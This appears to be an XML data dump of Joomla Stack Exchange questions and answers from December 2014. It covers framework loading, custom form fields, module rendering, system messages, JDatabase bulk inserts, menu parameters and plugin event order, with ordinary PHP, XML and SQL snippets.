  <row Id="5649" PostTypeId="1" AcceptedAnswerId="5653" CreationDate="2014-12-11T19:35:10.077" Score="6" ViewCount="915" Body="&lt;p&gt;I'm new to Joomla and I'm trying to create a home page that will show the 3 most recent articles, with only the first few lines of the article text, a thumbnail and a read more button for each which will navigate to the full article page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm going through the plugins but there are hundreds so I thought I'd ask for help to save some time trying them all out.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/VUZ5P.png&quot; alt=&quot;Here is what I&amp;#39;m trying to achieve&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="3346" LastEditorUserId="159" LastEditDate="2014-12-11T20:04:46.893" LastActivityDate="2014-12-12T00:28:17.737" Title="How to create teaser articles on home page with &quot;read more&quot; link to article page" Tags="|articles|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5650" PostTypeId="1" AcceptedAnswerId="5651" CreationDate="2014-12-11T20:31:24.653" Score="7" ViewCount="755" Body="&lt;p&gt;I have a question, I have an already constructed site, we use Joomla for the CMS, and a theme from RocketTheme called &quot;Diametric&quot;. We are looking to construct a page and it's styling is going to fall pretty far outside the confines of the template. Is it possible to develop a coded HTML/CSS page, let's say using the Bootstrap Framework, and store it within the file path for our current domain? As I understand it, it would be a page outside the CMS, but still within domain. Am I overlooking anything in doing this? Should I expect any problem behaviour from Joomla?&lt;/p&gt;&#xA;" OwnerUserId="3347" LastActivityDate="2015-02-27T13:19:30.093" Title="Developing Outside the CMS" Tags="|templates|template-override|recommended-practices|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5651" PostTypeId="2" ParentId="5650" CreationDate="2014-12-11T20:42:32.220" Score="8" Body="&lt;p&gt;In the &lt;code&gt;index.php&lt;/code&gt; file of your folder, such as &lt;code&gt;\joomlaroot\yourfolder\index.php&lt;/code&gt;, load just the framework of your Joomla site, use the following code:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once that is done, you have full access to &quot;everything Joomla&quot;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;if (!defined('_JEXEC')) {&#xA;    define( '_JEXEC', 1 );&#xA;    define('JPATH_BASE', dirname(dirname(__FILE__)));&#xA;    require_once ( JPATH_BASE .'../includes/defines.php' );&#xA;    require_once ( JPATH_BASE .'../includes/framework.php' );&#xA;    defined('DS') or define('DS', DIRECTORY_SEPARATOR);&#xA;}&#xA;?&amp;gt;&#xA;&amp;lt;!DOCTYPE html&amp;gt;&#xA;&amp;lt;html&amp;gt;&#xA;    &amp;lt;head&amp;gt;&#xA;        &amp;lt;title&amp;gt;My Outside-of-Joomla Page&amp;lt;/title&amp;gt;&#xA;    &amp;lt;/head&amp;gt;&#xA;    &amp;lt;body&amp;gt;&#xA;        &amp;lt;?php&#xA;        $user = jFactory::getUser();&#xA;        if($user-&amp;gt;id){&#xA;            echo '&amp;lt;h1&amp;gt;Hello '.$user-&amp;gt;name.'&amp;lt;/h1&amp;gt;';&#xA;        }else{&#xA;            echo 'You are not logged into Joomla';&#xA;        }&#xA;        ?&amp;gt;&#xA;    &amp;lt;/body&amp;gt;&#xA;&amp;lt;/html&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It's also interesting to note that within the &lt;code&gt;\cli&lt;/code&gt; folder is a sample of loading just the framework for just that - &quot;cli&quot; use - very handy for running scheduled tasks and the like for your Joomla site..&lt;/p&gt;&#xA;" OwnerUserId="64" LastEditorUserId="64" LastEditDate="2014-12-11T21:08:42.243" LastActivityDate="2014-12-11T21:08:42.243" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="5652" PostTypeId="2" ParentId="5650" CreationDate="2014-12-11T20:51:52.930" Score="3" Body="&lt;p&gt;You can. If you use, say, Akeeba Admin Tools Pro you are going to have to put in some exceptions, but generally Joomla does not care what you have in folders and/or files it doesn't use.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But you probably should not. You can assign the active template per menu item. So simply assign your &quot;sub-site&quot; a template that looks like you want it to. I doubt finding or even making a simple template that fits your needs would be that hard.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, RocketTheme templates allow you to relatively easily create &quot;template overrides&quot; with modified settings and assign those to menu items. Basically, you use either &quot;save as copy&quot; from the template or &quot;duplicate&quot; from the template manager.&lt;/p&gt;&#xA;" OwnerUserId="2309" LastActivityDate="2014-12-11T20:51:52.930" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="5653" PostTypeId="2" ParentId="5649" CreationDate="2014-12-11T22:25:20.343" Score="1" Body="&lt;p&gt;I typically use &lt;a href=&quot;http://extensions.joomla.org/extensions/news-display/articles-display/frontend-news/736&quot; rel=&quot;nofollow&quot;&gt;DisplayNews&lt;/a&gt; for this. Works pretty well, lots of options for styling. A bit difficult if you want to do crazy customizations, but if you're going with the layout you've shown above there, you should be fine. It's got a lot of functionality built in, and do exactly what you're saying - show some text, a thumbnail, and a readmore.&lt;/p&gt;&#xA;" OwnerUserId="20" LastActivityDate="2014-12-11T22:25:20.343" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5654" PostTypeId="2" ParentId="5649" CreationDate="2014-12-12T00:28:17.737" Score="1" Body="&lt;p&gt;Many templates include this kind of thing.  Rockettheme generally does, though we seldom use the feature.  There's a &lt;strong&gt;free&lt;/strong&gt; template that provides it if you're interested in how they accomplish it called &lt;a href=&quot;http://demo.rockettheme.com/joomla-templates/afterburner2/&quot; rel=&quot;nofollow&quot;&gt;Rockettheme Afterburner2&lt;/a&gt;.  You probably have to register, but it is free, and it's reliable.&lt;/p&gt;&#xA;" OwnerUserId="64" LastActivityDate="2014-12-12T00:28:17.737" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5655" PostTypeId="1" CreationDate="2014-12-12T06:24:23.447" Score="1" ViewCount="122" Body="&lt;p&gt;I have this code here, which I modified in the getForm function from my Model Class:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$elementHeader='&#xA;            &amp;lt;fieldset name=&quot;reportFilters&quot;&amp;gt;';&#xA;    $elementName = $elementHeader;&#xA;&#xA;    $form = $this-&amp;gt;loadForm('com_subscription.subscriptions', 'subscriptionsform', array('control' =&amp;gt; 'jform', 'load_data' =&amp;gt; $loadData));&#xA;    if (empty($form)) {&#xA;        return false;&#xA;    }&#xA;&#xA;    $jinput = JFactory::getApplication()-&amp;gt;input;&#xA;    $report= $jinput-&amp;gt;get('reportId','0',null);&#xA;&#xA;    $this-&amp;gt;filterlist = $this-&amp;gt;getReportFilters($report);&#xA;&#xA;    foreach($this-&amp;gt;filterlist as $filter_record)&#xA;    {&#xA;        $newfield = $this-&amp;gt;generateXML($filter_record);&#xA;        if($newfield=='')&#xA;        {&#xA;&#xA;        }&#xA;        else&#xA;        {&#xA;            $elementName = $elementName.$newfield;&#xA;        }&#xA;    }&#xA;&#xA;    $elementName = $elementName.&#xA;    '&amp;lt;/fieldset&amp;gt;'&#xA;    ;&#xA;&#xA;    $element = new SimpleXMLElement($elementName);&#xA;    $form-&amp;gt;setfield($element);&#xA;&#xA;    return $form;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you would observe, I customized the code to load the form together with the custom fields.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I pass this generated form to another function when saving the data from edit form?&lt;/p&gt;&#xA;" OwnerUserId="2308" LastEditorUserId="126" LastEditDate="2015-06-11T13:48:56.793" LastActivityDate="2024-03-25T22:06:10.747" Title="How do I pass the generated form together with the custom fields to model class?" Tags="|joomla-3.x|jform|fields|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5656" PostTypeId="1" CreationDate="2014-12-12T06:33:25.960" Score="1" ViewCount="259" Body="&lt;p&gt;How to prevent Joomla empty modules from being rendered?&#xA;To achieve this-&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried by returning false from module's entry file if there is no output.&#xA;I have written following code in modules entry file eg mod_xyx.php&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Hide mod when no output.&#xA;if ( @no_output)&#xA;{&#xA;    return ;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It works for Joomla's default template but doesn't work for some template.&lt;/p&gt;&#xA;" OwnerUserId="2145" LastEditorUserId="174" LastEditDate="2014-12-12T19:02:39.057" LastActivityDate="2014-12-12T20:14:48.590" Title="How to prevent joomla empty modules from being rendered, even returning false?" Tags="|joomla-3.x|joomla-2.5|module|templates|module-display|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5657" PostTypeId="2" ParentId="5623" CreationDate="2014-12-12T08:32:16.357" Score="1" Body="&lt;p&gt;Since my custom fields were all from the database, I had a workaround with this issue, and that is to create a new associative array, and load the custom fields from the database and then assign values of the custom fields coming from what I have got from this code.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$data = JFactory::getApplication()-&amp;gt;input-&amp;gt;get('jform', array(), 'array');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The only thing that made this difficult is I was supposed to create the form as dynamic as possible.&lt;/p&gt;&#xA;" OwnerUserId="2308" LastActivityDate="2014-12-12T08:32:16.357" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5658" PostTypeId="1" AcceptedAnswerId="5659" CreationDate="2014-12-12T09:40:53.840" Score="8" ViewCount="5144" Body="&lt;p&gt;By default Joomla 3 system messages (messages, notices, warnings) are displayed in a certain position of the template using&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;jdoc:include type=&quot;message&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Would it be possible getting more control over those messages and display them in different positions inside my own component's container? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried using the jdoc above inside my component's views (cheap shot) but no luck. Is there any way I can &quot;capture&quot; messages generated by my component using Joomla's standard system messaging system and display them wherever I want?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance.&lt;/p&gt;&#xA;" OwnerUserId="1504" LastActivityDate="2018-11-18T14:42:35.153" Title="Display system messages inside component instead of in the template" Tags="|joomla-3.x|development|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5659" PostTypeId="2" ParentId="5658" CreationDate="2014-12-12T10:42:35.127" Score="9" Body="&lt;p&gt;Ok, looks like digging a bit more I found an answer to my own question. Basically I found this plugin:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://extensions.joomla.org/extensions/style-a-design/popups-a-iframes/25240&quot;&gt;http://extensions.joomla.org/extensions/style-a-design/popups-a-iframes/25240&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's not exactly what I need, but checking its code I figured out the way to go, which could be summarized as follows (in case someone gets here looking for the same question):&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;If you want to do it the right way, you need to take care of default's Joomla messages displayed in the template via &lt;code&gt;&amp;lt;jdoc:include type=&quot;message&quot; /&amp;gt;&lt;/code&gt;, so that messages are not displayed twice&lt;/li&gt;&#xA;&lt;li&gt;The only way to handle that is using a plugin that will be triggered on the onBeforeRender event&lt;/li&gt;&#xA;&lt;li&gt;In that event you need to:&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Retrieve the messages using &#xA;&lt;code&gt;$app = JFactory::getApplication();&#xA;$messageQueue = $app-&amp;gt;getMessageQueue();&#xA;&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Process the messages as needed to output them in your component&lt;/li&gt;&#xA;&lt;li&gt;Clear the messages queue, so messages are not displayed twice. In previous Joomla versions, it was possible to directly clear the queue with a method, but in Joomla 3 you need to replace the existing queue with an empty one&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;That's it, you have messages enqueued in default's Joomla messaging system available in your component.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;This needs some work, but I think the overall path to follow is clear. Hope it's useful for someone else in a similar situation.&lt;/p&gt;&#xA;" OwnerUserId="1504" LastEditorUserId="1504" LastEditDate="2014-12-12T13:16:01.563" LastActivityDate="2014-12-12T13:16:01.563" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5660" PostTypeId="1" AcceptedAnswerId="5683" CreationDate="2014-12-12T12:45:45.467" Score="2" ViewCount="48" Body="&lt;p&gt;Until wednesday, everything was fine but for two days it is so strange. &#xA;I am using DirectPHP plug-in to create my own pages. And use template's language files for the constant expressions and labels in the page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I use the language file in this way:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$titles = array('', 'TPL_MY_TEMPLATE_TITLE_1', 'TPL_MY_TEMPLATE_TITLE_2', 'TPL_MY_TEMPLATE_TITLE_3', 'TPL_MY_TEMPLATE_TITLE_4');&#xA;$expressions = array('', 'TPL_MY_TEMPLATE_EXPRESS_1', 'TPL_MY_TEMPLATE_EXPRESS_2', 'TPL_MY_TEMPLATE_EXPRESS_3', 'TPL_MY_TEMPLATE_EXPRESS_4');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I double checked that&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;if corresponding label exists in both language files&lt;/li&gt;&#xA;&lt;li&gt;if there is any typographic error (even if so, I could see key's itself instead of corresponding value)&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I also have copied my template for each language. Nothing changed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I see labels and comments in English in both Turkish and English pages.&#xA;What could be the problem? I have not made any update, any change.&lt;/p&gt;&#xA;" OwnerUserId="440" LastEditorUserId="440" LastEditDate="2014-12-12T15:05:53.307" LastActivityDate="2014-12-15T17:40:49.323" Title="Why my pages come in English even the current language is another?" Tags="|plugin|language|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="5661" PostTypeId="1" AcceptedAnswerId="5665" CreationDate="2014-12-12T14:27:01.723" Score="13" ViewCount="4796" Body="&lt;p&gt;Instead of using a loop, can Joomla database functions create a SQL statement like this?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;INSERT INTO #__tablename (col1,col2)&#xA;VALUES &#xA; ('1', 'one'),&#xA; ('2', 'two'),&#xA; ('3', 'three'),&#xA;...&#xA; ('999', 'three'),&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The docs at &lt;a href=&quot;https://docs.joomla.org/Accessing_the_database_using_JDatabase&quot;&gt;Accessing the database using JDatabase&lt;/a&gt;, refer to Transactions and using SQL or Objects, but no mention of multiple values in either case.&lt;/p&gt;&#xA;" OwnerUserId="64" LastEditorUserId="64" LastEditDate="2014-12-12T16:11:54.920" LastActivityDate="2018-07-24T15:31:13.937" Title="Can multiple records be inserted all at once with the jDatabase?" Tags="|jdatabase|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5662" PostTypeId="1" AcceptedAnswerId="5666" CreationDate="2014-12-12T14:39:17.637" Score="2" ViewCount="2030" Body="&lt;p&gt;We want to make the views of our component as res-usable as possible, displaying the data differently, depending on how the view is being used.  The components parameters are suitable for the general display, but which display mode to use would depend on the how the menu option to the view is set up.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Additionally, we have many 3rd party data providers that are optionally installed, most of which can be configured, engaged/disengaged, and variable API parameters specified.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How is this done, as I've seen accomplished with extensions like menu modules and templates?&lt;/p&gt;&#xA;" OwnerUserId="64" LastEditorUserId="64" LastEditDate="2014-12-12T15:19:48.830" LastActivityDate="2020-02-20T03:05:25.670" Title="How can I add custom menu options?" Tags="|development|menu-parameters|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5663" PostTypeId="2" ParentId="5662" CreationDate="2014-12-12T14:51:19.050" Score="2" Body="&lt;p&gt;A view can have several &lt;strong&gt;layouts&lt;/strong&gt; in the tmpl view directoy, and layouts can be overriden at template level.&lt;/p&gt;&#xA;" OwnerUserId="174" LastActivityDate="2014-12-12T14:51:19.050" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5664" PostTypeId="2" ParentId="5661" CreationDate="2014-12-12T14:55:38.493" Score="4" Body="&lt;p&gt;Joomla core support basic SQL queries. You can create a class to store several inserts and create a single final query to execute a single insert at the end.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    public function flushInserts()&#xA;{&#xA;    $db = JFactory::getDbo();&#xA;&#xA;    foreach ($this-&amp;gt;bulk_tables as $table)&#xA;    {&#xA;        // No inserts&#xA;        if (!array_key_exists($table, $this-&amp;gt;bulk_inserts))&#xA;        {&#xA;            continue;&#xA;        }&#xA;&#xA;        $tableq = $db-&amp;gt;qn($table);&#xA;&#xA;        $insertSet = $this-&amp;gt;bulk_inserts[$table];&#xA;        $values = implode(',', $insertSet);&#xA;        $query = 'INSERT INTO ' . $tableq . ' VALUES ' . $values . ';';&#xA;&#xA;        $db-&amp;gt;setQuery($query);&#xA;        $db-&amp;gt;execute();&#xA;&#xA;        if ($error = $db-&amp;gt;getErrorMsg())&#xA;        {&#xA;            throw new Exception($error);&#xA;        }&#xA;    }&#xA;&#xA;    $this-&amp;gt;bulk_inserts = array();&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="174" LastActivityDate="2014-12-12T14:55:38.493" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5665" PostTypeId="2" ParentId="5661" CreationDate="2014-12-12T15:17:34.437" Score="12" Body="&lt;p&gt;This can be accomplished by using &lt;code&gt;-&amp;gt;insert()&lt;/code&gt; and &lt;code&gt;-&amp;gt;values()&lt;/code&gt;, with the &lt;code&gt;$values&lt;/code&gt; being an array of the strings with the columns to insert.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$db = JFactory::getDbo();&#xA;$query = $db-&amp;gt;getQuery(true);&#xA;&#xA;$columns = array('col_one','col_two');&#xA;$values = array();&#xA;// Proper escaping/quotes should be done here, and probably in a loop, but cluttered the answer, so omitted it&#xA;$values[] = '1, &quot;one&quot;';&#xA;$values[] = '2, &quot;two&quot;';&#xA;$values[] = '3, &quot;three&quot;';&#xA;$values[] = '999, &quot;nineninetynine&quot;';&#xA;&#xA;$query-&amp;gt;insert($db-&amp;gt;quoteName('#__tablename'));&#xA;$query-&amp;gt;columns($columns);&#xA;$query-&amp;gt;values($values);&#xA;$db-&amp;gt;setQuery($query);&#xA;$db-&amp;gt;query();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;SQL that is produced using &lt;code&gt;echo $query-&amp;gt;dump()&lt;/code&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;INSERT INTO `xyz_tablename`&#xA;(col_one,col_two) VALUES &#xA;(1, &quot;one&quot;),(2, &quot;two&quot;),(3, &quot;three),(999, &quot;nineninetynine&quot;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="64" LastEditorUserId="64" LastEditDate="2016-06-02T14:21:20.933" LastActivityDate="2016-06-02T14:21:20.933" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5666" PostTypeId="2" ParentId="5662" CreationDate="2014-12-12T15:31:34.777" Score="4" Body="&lt;p&gt;You could use menu parameters. They are similar to the component parameters but can be set up different for each menu item. Menu parameters can be defined in your view's template XML file (e.g. /components/com_yourcomponent/views/yourview/tmpl/default.xml)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Joomla documentation:&#xA;&lt;a href=&quot;https://docs.joomla.org/J3.x:Developing_an_MVC_Component/Adding_a_variable_request_in_the_menu_type&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/J3.x:Developing_an_MVC_Component/Adding_a_variable_request_in_the_menu_type&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="154" LastEditorUserId="13507" LastEditDate="2020-02-20T03:05:25.670" LastActivityDate="2020-02-20T03:05:25.670" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="5667" PostTypeId="2" ParentId="5662" CreationDate="2014-12-12T15:54:22.437" Score="2" Body="&lt;p&gt;Turns out menu items are processed with a Content Plugin as well, so this can add custom options using a specified XML form:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// no direct access&#xA;defined ( '_JEXEC' ) or die ( 'Restricted access' );&#xA;class plgContentMyPlugin extends JPlugin {&#xA;    function onContentPrepareForm($form, $data) {&#xA;        $option = JFactory::getApplication()-&amp;gt;input-&amp;gt;get('option');&#xA;        if($option == 'com_menus'){&#xA;            if(is_object($data)) return;&#xA;            JForm::addFormPath(__DIR__ . '/forms'); // Path to XML&#xA;            $form-&amp;gt;loadFile('my_menuoptions', false);&#xA;            return true;&#xA;        }&#xA;    }&#xA;}&#xA;&#xA;** Form XML of custom menu Options **&#xA;plugins\content\myPlugin\forms\my_menuoptions.xml&#xA;&amp;lt;?xml version=&quot;1.0&quot; encoding=&quot;utf-8&quot;?&amp;gt;&#xA;  &amp;lt;form&amp;gt;&#xA;   &amp;lt;fields name=&quot;params&quot;&amp;gt;&#xA;       &amp;lt;fieldset name=&quot;MyMenuOptions&quot; label=&quot;My Options&quot;&amp;gt;&#xA;            &amp;lt;field name=&quot;custom1&quot; type=&quot;text&quot; size=&quot;10&quot; label=&quot;My Custom Field 1&quot;class=&quot;inputbox&quot; labelclass=&quot;control-label&quot; /&amp;gt;&#xA;            &amp;lt;field name=&quot;custom2&quot; type=&quot;radio&quot; class=&quot;btn-group&quot; default=&quot;1&quot; label=&quot;My Custom Field 2&quot;&amp;gt;&#xA;                &amp;lt;option value=&quot;1&quot;&amp;gt;One&amp;lt;/option&amp;gt;&#xA;                &amp;lt;option value=&quot;2&quot;&amp;gt;Two&amp;lt;/option&amp;gt;&#xA;            &amp;lt;/field&amp;gt;&#xA;        &amp;lt;/fieldset&amp;gt;&#xA;  &amp;lt;/fields&amp;gt;&#xA;&amp;lt;/form&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="64" LastActivityDate="2014-12-12T15:54:22.437" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5668" PostTypeId="1" AcceptedAnswerId="5669" CreationDate="2014-12-12T16:53:50.983" Score="2" ViewCount="109" Body="&lt;p&gt;I am facing a really weird issue and can't figure out what is going on here. An internal menu item (added by clicking 'Article') was unpublished and I was expecting the 404 to be generated. But when I click in the in page link, it is generating the following URL structure (which I suppose is the Joomla router trying to create an URL) &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/component/content/11-new-books/sci-fi/137-foundation-and-empire?Itemid=31&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And the HTML content of the page displayed is as the follows. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;html&amp;gt;&#xA;&amp;lt;head&amp;gt;&#xA;&amp;lt;/head&amp;gt;&#xA;   &amp;lt;body&amp;gt;View not found [name, type, prefix]: 11new-books, html, contentView&amp;lt;/body&amp;gt;&#xA;&amp;lt;/html&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What could be happening here for it to not even display the error page? &lt;/p&gt;&#xA;" OwnerUserId="112" LastActivityDate="2014-12-12T18:23:28.743" Title="Unpublished internal link still generates a 200 OK and View not found message" Tags="|menu-item|seo|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5669" PostTypeId="2" ParentId="5668" CreationDate="2014-12-12T18:23:28.743" Score="3" Body="&lt;p&gt;Try clicking &quot;Rebuild&quot; in menu manager. The sef router is not kept up-to-date automatically, after making changes to the menus you may need to &quot;rebuild&quot; the relevant data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The reason 404 is not generated is that the link is routed to com_content or content manager, that is what happens by default if a menu item for neither article or category is found. Since the link is broken this fails, but Joomla! gives a fail notice instead of a server error for the very simple reason that it has no way to know which error would be the correct one. If a route fails, it has failed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Mostly guesswork, obviously.&lt;/p&gt;&#xA;" OwnerUserId="2309" LastActivityDate="2014-12-12T18:23:28.743" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5670" PostTypeId="2" ParentId="5656" CreationDate="2014-12-12T19:12:38.363" Score="1" Body="&lt;p&gt;If you are 100% sure that your module output is empty, then your template may be adding a &lt;strong&gt;chrome&lt;/strong&gt; to the module.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can check how the &lt;strong&gt;JModuleHelper::renderModule&lt;/strong&gt; generates the module output and (optionally) calls the template chrome.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/joomla/joomla-cms/blob/staging/libraries/cms/module/helper.php#L176&quot; rel=&quot;nofollow&quot;&gt;https://github.com/joomla/joomla-cms/blob/staging/libraries/cms/module/helper.php#L176&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="174" LastActivityDate="2014-12-12T19:12:38.363" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5671" PostTypeId="2" ParentId="5656" CreationDate="2014-12-12T20:14:48.590" Score="0" Body="&lt;p&gt;I've encountered this in the past, and your answer is likely in your template files...you'll probably see that its checking if there is a &lt;em&gt;count&lt;/em&gt; of modules - something like this from Protostar:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php if ($this-&amp;gt;countModules('position-8')) : ?&amp;gt;&#xA;&amp;lt;!-- Begin Sidebar --&amp;gt;&#xA;&amp;lt;div id=&quot;sidebar&quot; class=&quot;span3&quot;&amp;gt;&#xA;    &amp;lt;div class=&quot;sidebar-nav&quot;&amp;gt;&#xA;        &amp;lt;jdoc:include type=&quot;modules&quot; name=&quot;position-8&quot; style=&quot;xhtml&quot; /&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;!-- End Sidebar --&amp;gt;&#xA;&amp;lt;?php endif; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It doesn't consider whether there is output or not, so renders the module position regardless of what is/isn't rendered.&lt;/p&gt;&#xA;" OwnerUserId="64" LastActivityDate="2014-12-12T20:14:48.590" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5672" PostTypeId="1" AcceptedAnswerId="5674" CreationDate="2014-12-14T13:16:15.243" Score="10" ViewCount="278" Body="&lt;p&gt;I need to know which event is most probably the last one triggered in normal application flow.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Event should be triggered after all default controller actions have been run, the template is rendered and possibly already delivered and the next step in the application would be its own shutdown.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I found the events:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;onAfterRoute&lt;/li&gt;&#xA;&lt;li&gt;onAfterDispatch&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;But is there another one, called later?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in Ahead!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;During development I switched on the debug mode of Joomla! and on the Screenshoot below the answer to my question appeared even coloured…&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/vJjg6.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="2246" LastEditorUserId="2246" LastEditDate="2014-12-15T08:28:21.047" LastActivityDate="2014-12-15T08:28:21.047" Title="Last Event Triggered by Plugin" Tags="|plugin|jevents|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5674" PostTypeId="2" ParentId="5672" CreationDate="2014-12-14T14:27:58.880" Score="7" Body="&lt;p&gt;I've found them to fire in this order. Nothing in the docs to my knowledge, but just tested to confirm:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;onAfterInitialise() &lt;/li&gt;&#xA;&lt;li&gt;onAfterRoute()&lt;/li&gt;&#xA;&lt;li&gt;onAfterDispatch()&lt;/li&gt;&#xA;&lt;li&gt;onBeforeRender() &lt;/li&gt;&#xA;&lt;li&gt;onBeforeCompileHead() &lt;/li&gt;&#xA;&lt;li&gt;onAfterRender()&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="64" LastActivityDate="2014-12-14T14:27:58.880" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
